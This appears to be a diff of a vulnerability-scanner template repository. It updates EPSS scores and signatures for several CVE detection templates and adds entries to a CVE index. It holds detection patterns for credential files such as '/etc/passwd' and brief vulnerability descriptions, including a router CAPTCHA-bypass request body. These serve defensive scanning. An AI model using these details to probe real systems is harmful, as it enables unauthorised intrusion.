    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.93788
-    epss-percentile: 0.99846
+    epss-score: 0.93865
+    epss-percentile: 0.99858
    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

@@ -145,4 +145,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a0047304502200fa03838474f6ec486bf67096c4cdc9b7dccfa1e53447e07d61f92ad4e1f3c35022100b39ec1e66f12e162109a581fb063d65abb784ffd0cd28519794a73507dbcbbf4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c88f6d837fa2686dde19f9b77dab6f5c8a5825c0f1d153e6208f489eca85fee002205b6c68ad4e1dc544604ef0122e9575e3dead2b352d5be36d0eb4ebb3a5b87fb2:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.85568
-    epss-percentile: 0.99323
+    epss-score: 0.8111
+    epss-percentile: 0.99106
  metadata:
    verified: true
    max-request: 2
@@ -193,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a0046304402206d5a46d6b9745fe91fe1d2a23bb5c3128cdc21c8555d51923d1339b25a943ef7022020aad20dc59d37d3bef4dfdf1bc613381339857e2b57108003a63cb71058e959:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c698cf765d4a181bbe9ad719f715db924dfe58f7f90d2bc3aeb42cc300f842f022100994fcf3e4898d95172f1378082c38c856532814691cd3acc23074203c7a5866a:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
    epss-score: 0.41406
-    epss-percentile: 0.9724
+    epss-percentile: 0.97243
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4b0a0048304602210082cb652cfd1f51517d5eaa898c5873743d1b2531277e5636d39b08366b67870a022100e5d9a201313af94bbda15c695b036e96db9a1e8a802adc8b5bc4a7915553cbce:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f480171de008180e091e1c69fb2006c3434e7b60a3094b4caab19c092ba9f2a022100ecc347483a547ca12e83b2813917e34d1d09c2932f96950dbb0d9d29dc19bc19:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.36115
-    epss-percentile: 0.96913
+    epss-score: 0.57271
+    epss-percentile: 0.98025
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4b0a004830460221009e68cb35fdc1947e017d4a05b6f44cc07782ce02df9c340f0c0616173796979d0221009683da7e4d7c3a8fdc15e743b4682692a317be743b28d0450b1b95b2b9f84c1a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ba22773e4e63c40ff9649c9e18646112dab86ad03887a0dc2177ed3e83eeaabb022100f359ffd2de41134ba37a2a18f3b0f4ecbb5a79ff7dfb259f13a74d0c1066d120:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.03899
-    epss-percentile: 0.87774
+    epss-score: 0.04785
+    epss-percentile: 0.89058
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 4b0a00483046022100c70f589345f9680a9c7b260f970bae459696e2d2bff5595d6229f7007fc65c47022100b0313cd3094c28883f2e73d30a9d9721335e01d0272e63b0a5edaf7c797af45e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206e9f88fa35e1efe0dfbc77021347d1416c8ba34d87b6fe132de6da3d2029fb4f022038ce20d668ec47e686855a23065d676529df72108390bb46791ac0c0b3213ca8:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.76863
-    epss-percentile: 0.98896
+    epss-score: 0.73531
+    epss-percentile: 0.98743
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -128,4 +128,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a00473045022062ab1641bcc951d133e7f74779ba89ee1e212c57abb637875f5741ccde5f0aff0221009abc5b18daa74ae3ced807615e569a0b2c8801d70b2726bf069010f7248e2800:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ec9c867b3ff7b861066adcced1fe7de0d1f5ff812ccf5603681b68bebf830884022100b484462113de4ed76f3b3aa286afcefc14b4792924f39c31ef340333b1cc7dd6:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
    epss-score: 0.17247
-    epss-percentile: 0.94749
+    epss-percentile: 0.94765
  metadata:
    verified: true
    vendor: gitlab
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022100e1056a8ff75ac83c3a96052470dd841135213342698a4c36e446b381e5e511530220413276e007290661ab8493b56bc7a2ba04c386f9d6f5b79591d0445735d6dd12:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100adb57051ff1daa01738c529688fc1f8286ecddb12ff7750b55f4dee5345377a8022100a67ac9d936e4c7a807ce5ced0673a1ae7c54dca17aa2a240e916d19b21b5f907:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.50575
-    epss-percentile: 0.97705
+    epss-score: 0.41165
+    epss-percentile: 0.97227
  metadata:
    verified: true
    max-request: 1
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502200b6533a13024ea7b201bf05061b0794d062e859c61d244ceb91dd363480c45af022100fe5c1f4e52838bd34080af45429ce46365f8e4666111518867eb748b46d96f18:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dd8ddeab01e47c07e10352b4027a648f5c363824133547baeb077682ea87e231022062f13a6c9decbe45656d320be77c84bd9612eef84e1b1b4cecfe8e279dfe9d24:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.51712
-    epss-percentile: 0.97764
+    epss-score: 0.49642
+    epss-percentile: 0.97664
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100c9395376e283cc4dd0a2bf15295ae3dccb5947d4014cfc88c20bd40c3e5cc6f502210094d5ea22d6a0bbabd965e1ee8f3f22a95a78243014baa2965dcfb10a43d4f03d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008a8dd55bf66f637ca027a8855f2f5818b2b61941d47c02cc4a0de9e64a3217b6022041cd67ffdfe401811fd58f5f98edfb5986e0cda3f5c9a3868e1fb3d62aad110e:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.23131
-    epss-percentile: 0.95692
+    epss-score: 0.17485
+    epss-percentile: 0.9481
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 4b0a00483046022100a2be2456cfe1709fae649db10fbac3d0fe061452ca2a4f3c2ee70f7c48e28a75022100a5b948b1cc1fc68b2c2113a168b01140424ca218f60566007c25e3527dbe3c85:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100812b35c7792d91de6d806c9de888d86356456ed934b6cf023de300abf3db9147022100bb8929166261f9a620a6585ecc98393446ab3cbd7223736942a966a56976a932:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.76989
-    epss-percentile: 0.98902
+    epss-score: 0.7437
+    epss-percentile: 0.98777
    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022033f7f111f3d45d13c51d4cd41ef663e6b4269f72e8ed4123840ef98e24d904da022100ff1e6ece5ecdb04dd832fa17bd5cb17609c41c6868d85dd40e3cee8fdac4b4cb:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c233c6c94743a7d3b12ad897deafc5b3d6b991238260e216746f4b85a8f3757802210094bfa8e92a0793f96f7816e8c93847bebb126dc3a846724a931af80b109f6f2d:922c64590222798bb761d5b6d8e72950
@@ -426,6 +426,7 @@
 {"ID":"CVE-2017-14537","Info":{"Name":"Trixbox 2.8.0 - Path Traversal","Severity":"medium","Description":"Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2017/CVE-2017-14537.yaml"}
 {"ID":"CVE-2017-14622","Info":{"Name":"WordPress 2kb Amazon Affiliates Store \u003c2.1.1 - Cross-Site Scripting","Severity":"medium","Description":"WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-14622.yaml"}
 {"ID":"CVE-2017-14651","Info":{"Name":"WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting","Severity":"medium","Description":"WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2017/CVE-2017-14651.yaml"}
+{"ID":"CVE-2017-14725","Info":{"Name":"WordPress \u003c 4.8.2 - Authenticated Open Redirect","Severity":"medium","Description":"WordPress versions before 4.8.2 contain an open redirect caused by improper validation in wp-admin/edit-tag-form.php and wp-admin/user-edit.php, letting attackers redirect users to malicious sites, exploit requires access to admin interface.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-14725.yaml"}
 {"ID":"CVE-2017-14849","Info":{"Name":"Node.js \u003c8.6.0 - Directory Traversal","Severity":"high","Description":"Node.js before 8.6.0 allows remote attackers to access unintended files because a change to \"..\" handling is incompatible with the pathname validation used by unspecified community modules.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-14849.yaml"}
 {"ID":"CVE-2017-14942","Info":{"Name":"Intelbras WRN 150 - Authentication Bypass","Severity":"critical","Description":"Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-14942.yaml"}
 {"ID":"CVE-2017-15287","Info":{"Name":"Dreambox WebControl 2.0.0 - Cross-Site Scripting","Severity":"medium","Description":"Dream Multimedia Dreambox devices via their WebControl component are vulnerable to reflected cross-site scripting, as demonstrated by the \"Name des Bouquets\" field, or the file parameter to the /file URI.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-15287.yaml"}
@@ -438,6 +439,7 @@
 {"ID":"CVE-2017-16894","Info":{"Name":"Laravel \u003c5.5.21 - Information Disclosure","Severity":"high","Description":"Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-16894.yaml"}
 {"ID":"CVE-2017-17043","Info":{"Name":"WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter \"post\" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17043.yaml"}
 {"ID":"CVE-2017-17059","Info":{"Name":"WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting","Severity":"medium","Description":"WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17059.yaml"}
+{"ID":"CVE-2017-17092","Info":{"Name":"WordPress \u003c 4.9.1 - Authenticated JavaScript File Upload","Severity":"medium","Description":"WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-17092.yaml"}
 {"ID":"CVE-2017-17451","Info":{"Name":"WordPress Mailster \u003c=1.5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17451.yaml"}
 {"ID":"CVE-2017-17562","Info":{"Name":"Embedthis GoAhead \u003c3.6.5 - Remote Code Execution","Severity":"high","Description":"description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2017/CVE-2017-17562.yaml"}
 {"ID":"CVE-2017-17731","Info":{"Name":"DedeCMS 5.7 - SQL Injection","Severity":"critical","Description":"DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17731.yaml"}
@@ -491,6 +493,7 @@
 {"ID":"CVE-2017-5868","Info":{"Name":"OpenVPN Access Server 2.1.4 - CRLF Injection","Severity":"medium","Description":"CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via \"%0A\" characters in the PATH_INFO to __session_start__/.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-5868.yaml"}
 {"ID":"CVE-2017-5871","Info":{"Name":"Odoo \u003c= 8.0-20160726 \u0026 9.0 - Open Redirect","Severity":"medium","Description":"An Open Redirect vulnerability in Odoo versions \u003c= 8.0-20160726 and 9.0. This issue allows an attacker to redirect users to untrusted sites via a crafted URL.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-5871.yaml"}
 {"ID":"CVE-2017-5982","Info":{"Name":"Kodi 17.1 - Local File Inclusion","Severity":"high","Description":"Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-5982.yaml"}
+{"ID":"CVE-2017-5983","Info":{"Name":"JIRA Workflow Designer Plugin in Atlassian JIRA Server \u003e 6.3.0 - Remote Code Execution (XXE)","Severity":"critical","Description":"The JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, or cause a denial of service via a crafted serialized Java object.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-5983.yaml"}
 {"ID":"CVE-2017-6090","Info":{"Name":"PhpColl 2.5.1 Arbitrary File Upload","Severity":"high","Description":"PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-6090.yaml"}
 {"ID":"CVE-2017-7269","Info":{"Name":"Windows Server 2003 \u0026 IIS 6.0 - Remote Code Execution","Severity":"critical","Description":"Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in the ScStoragePathFromUrl function in the WebDAV service that could allow remote attackers to execute arbitrary code via a long header beginning with \"If \u003chttp://\" in a PROPFIND request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-7269.yaml"}
 {"ID":"CVE-2017-7391","Info":{"Name":"Magmi 0.7.22 - Cross-Site Scripting","Severity":"medium","Description":"Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-7391.yaml"}
@@ -509,7 +512,6 @@
 {"ID":"CVE-2017-9805","Info":{"Name":"Apache Struts2 S2-052 - Remote Code Execution","Severity":"high","Description":"The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2017/CVE-2017-9805.yaml"}
 {"ID":"CVE-2017-9822","Info":{"Name":"DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution","Severity":"high","Description":"DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-9822.yaml"}
 {"ID":"CVE-2017-9833","Info":{"Name":"BOA Web Server 0.94.14 - Arbitrary File Access","Severity":"high","Description":"BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of \"../..\" using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-9833.yaml"}
-{"ID":"CVE-2017-9841","Info":{"Name":"PHPUnit - Remote Code Execution","Severity":"critical","Description":"PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"\u003c?php \" substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-9841.yaml"}
 {"ID":"CVE-2017-9965","Info":{"Name":"Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal","Severity":"medium","Description":"Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2017/CVE-2017-9965.yaml"}
 {"ID":"CVE-2018-0127","Info":{"Name":"Cisco RV132W/RV134W Router - Information Disclosure","Severity":"critical","Description":"Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-0127.yaml"}
 {"ID":"CVE-2018-0296","Info":{"Name":"Cisco ASA - Local File Inclusion","Severity":"high","Description":"Cisco Adaptive Security Appliances (ASA) web interfaces could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-0296.yaml"}
@@ -566,6 +568,7 @@
 {"ID":"CVE-2018-1273","Info":{"Name":"Spring Data Commons - Remote Code Execution","Severity":"critical","Description":"Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,\nand older unsupported versions, contain a property binder vulnerability\ncaused by improper neutralization of special elements.\nAn unauthenticated remote malicious user (or attacker) can supply\nspecially crafted request parameters against Spring Data REST backed HTTP resources\nor using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-1273.yaml"}
 {"ID":"CVE-2018-12909","Info":{"Name":"Webgrind \u003c= 1.5 - Local File Inclusion","Severity":"high","Description":"Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer\u0026file= URI\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-12909.yaml"}
 {"ID":"CVE-2018-12998","Info":{"Name":"Zoho manageengine - Cross-Site Scripting","Severity":"medium","Description":"Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts  Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-12998.yaml"}
+{"ID":"CVE-2018-13317","Info":{"Name":"TOTOLINK A3002RU 1.0.8 - Information Disclosure","Severity":"medium","Description":"TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-13317.yaml"}
 {"ID":"CVE-2018-1335","Info":{"Name":"Apache Tika \u003c 1.1.8 - Header Command Injection","Severity":"high","Description":"Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2018/CVE-2018-1335.yaml"}
 {"ID":"CVE-2018-13379","Info":{"Name":"Fortinet FortiOS - Credentials Disclosure","Severity":"critical","Description":"Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-13379.yaml"}
 {"ID":"CVE-2018-13380","Info":{"Name":"Fortinet FortiOS - Cross-Site Scripting","Severity":"medium","Description":"Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-13380.yaml"}
@@ -818,7 +821,10 @@
 {"ID":"CVE-2019-19411","Info":{"Name":"Huawei Firewall - Local File Inclusion","Severity":"low","Description":"USG9500 with versions of V500R001C30SPC100, V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, V500R005C00SPC100, V500R005C00SPC200 have an information leakage vulnerability. Due to improper processing of the initialization vector used in a specific encryption algorithm, an attacker who gains access to this cryptographic primitive may exploit this vulnerability to cause the value of the confidentiality associated with its use to be diminished.\n","Classification":{"CVSSScore":"3.7"}},"file_path":"http/cves/2019/CVE-2019-19411.yaml"}
 {"ID":"CVE-2019-1943","Info":{"Name":"Cisco Small Business 200,300 and 500 Series Switches - Open Redirect","Severity":"medium","Description":"Cisco Small Business 200,300 and 500 Series Switches contain an open redirect vulnerability in the Web UI. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-1943.yaml"}
 {"ID":"CVE-2019-19781","Info":{"Name":"Citrix ADC and Gateway - Directory Traversal","Severity":"critical","Description":"Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are susceptible to directory traversal vulnerabilities.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-19781.yaml"}
+{"ID":"CVE-2019-19822","Info":{"Name":"TOTOLINK/Realtek Routers - Information Disclosure","Severity":"high","Description":"A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the \"config.dat\" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-19822.yaml"}
+{"ID":"CVE-2019-19823","Info":{"Name":"TOTOLINK/Realtek Routers - Information Disclosure","Severity":"high","Description":"A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the \"config.dat\" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-19823.yaml"}
 {"ID":"CVE-2019-19824","Info":{"Name":"TOTOLINK Realtek SD Routers - Remote Command Injection","Severity":"high","Description":"TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2019/CVE-2019-19824.yaml"}
+{"ID":"CVE-2019-19825","Info":{"Name":"TOTOLINK/Realtek Routers - CAPTCHA Bypass","Severity":"critical","Description":"On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {\"topicurl\":\"setting/getSanvas\"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-19825.yaml"}
 {"ID":"CVE-2019-19908","Info":{"Name":"phpMyChat-Plus 1.98 - Cross-Site Scripting","Severity":"medium","Description":"phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-19908.yaml"}
